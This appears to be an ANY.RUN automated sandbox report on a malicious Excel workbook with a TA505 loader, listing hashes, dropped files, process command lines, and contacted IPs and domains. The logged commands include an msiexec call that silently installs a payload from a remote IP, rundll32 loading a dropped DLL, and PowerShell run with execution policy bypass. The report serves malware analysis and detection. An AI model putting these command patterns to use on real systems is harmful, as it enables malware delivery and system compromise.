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File name:

D2398-0321.xls

Full analysis: https://app.any.run/tasks/f3d8f1a8-f540-4378-9aae-d5131cee40da
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 14:56:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Thu Mar 21 06:42:52 2019, Security: 0
MD5:

003277DA9690A749396DF9E3F51DF540

SHA1:

CCD62C42C80689A5B3DA7840F8770FFFBFDBC8C0

SHA256:

8E220396AB56096569DB278068738B65354521F4A5FB5073B626897FC0A54AC0

SSDEEP:

3072:LKpb8rGYrMPelwhKmFV5xtezEsgrdgWeEASNPzAKgncusE3v:LKpb8rGYrMPelwhKmFV5xtuEsgrdgWX2

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 2800)

    • Application was dropped or rewritten from another process

      • ns2A9F.tmp (PID: 4036)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2476)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3304)

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 3304)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2652)

    • Downloads executable files from IP

      • msiexec.exe (PID: 2476)

  • SUSPICIOUS

    • Starts application with an unusual extension

      • MSI2986.tmp (PID: 3008)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2476)
      • MSI2986.tmp (PID: 3008)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2540)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2476)

    • Starts CMD.EXE for commands execution

      • ns2A9F.tmp (PID: 4036)
      • rundll32.exe (PID: 2800)

    • Creates files in the user directory

      • powershell.exe (PID: 3156)

  • INFO

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2476)

    • Application was dropped or rewritten from another process

      • MSI2986.tmp (PID: 3008)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3304)

    • Loads dropped or rewritten executable

      • MSI2986.tmp (PID: 3008)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 2476)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author: Microsoft Office
LastModifiedBy: 1
Software: Microsoft Excel
CreateDate: 2018:12:19 10:42:12
ModifyDate: 2019:03:21 06:42:52
Security: None
CodePage: Windows Cyrillic
Company: Microsoft Corporation
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • 1
  • 2
HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
9
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi2986.tmp ns2a9f.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3304"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
3224msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2476C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3008"C:\Windows\Installer\MSI2986.tmp"C:\Windows\Installer\MSI2986.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
4036"C:\Users\admin\AppData\Local\Temp\nsk2A9E.tmp\ns2A9F.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nsk2A9E.tmp\ns2A9F.tmp—MSI2986.tmp
User:
admin
Integrity Level:
MEDIUM
2540"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exe—ns2A9F.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2800rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2652cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1C:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3156powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 039
Read events
933
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
4
Text files
10
Unknown types
4

Dropped files

PID
Process
Filename
Type
3304EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR7A3.tmp.cvr —
MD5:—
SHA256:—
2476msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF0FB28880D2070971.TMP —
MD5:—
SHA256:—
3156powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UF6LK6K12Y03VGZBZJLI.temp —
MD5:—
SHA256:—
3008MSI2986.tmpC:\Users\admin\AppData\Local\Temp\2.lnklnk
MD5:BFDA100C2049DA534D6FC920BBACD486
SHA256:503CB60D119B783ACFB2E25ACC11CAE78485B13F8DA43D70B3A2D1D1A02BB86F
2476msiexec.exeC:\Windows\Installer\MSI254D.tmpexecutable
MD5:D4C11BDA021113CA4604D80896B2A492
SHA256:AE2B1B1F7265386EDBBF2617084F277CDB9BC5AC34BD9AAC00CBC77A6BDCD829
2476msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2476msiexec.exeC:\Windows\Installer\10287a.ipibinary
MD5:9FD313C41E6DCB655148EF4BB927E2EA
SHA256:A681937D1CD9ADDF5DBE7FA61EA2D19BA334B830097379D020748B49568957E2
2476msiexec.exeC:\Users\admin\AppData\Local\Temp\Cookies\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2476msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:C0F56F7B09E2F12C2AA67E5DB87188D3
SHA256:28E637A97F9E78722DDC7B04E158D2F89D0D1F8113E757E72E9829FB82ED2620
3008MSI2986.tmpC:\Users\admin\AppData\Local\Temp\xmlparse.dllexecutable
MD5:6675C63A2534FD65B3B2DA751F2B393F
SHA256:BEE3B2710F7E874CE05E6B8B45CC20E021B9C00EE337238598E71E7315128333
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2476
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2476
msiexec.exe
169.239.128.104:80
—
Zappie Host LLC
ZA
suspicious
2800
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious
dns.msftncsi.com
  • 131.107.255.255
shared
afsafasdarm.icu
  • —
malicious

Threats

PID
Process
Class
Message
2476
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
2476
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
D2398-0321.xls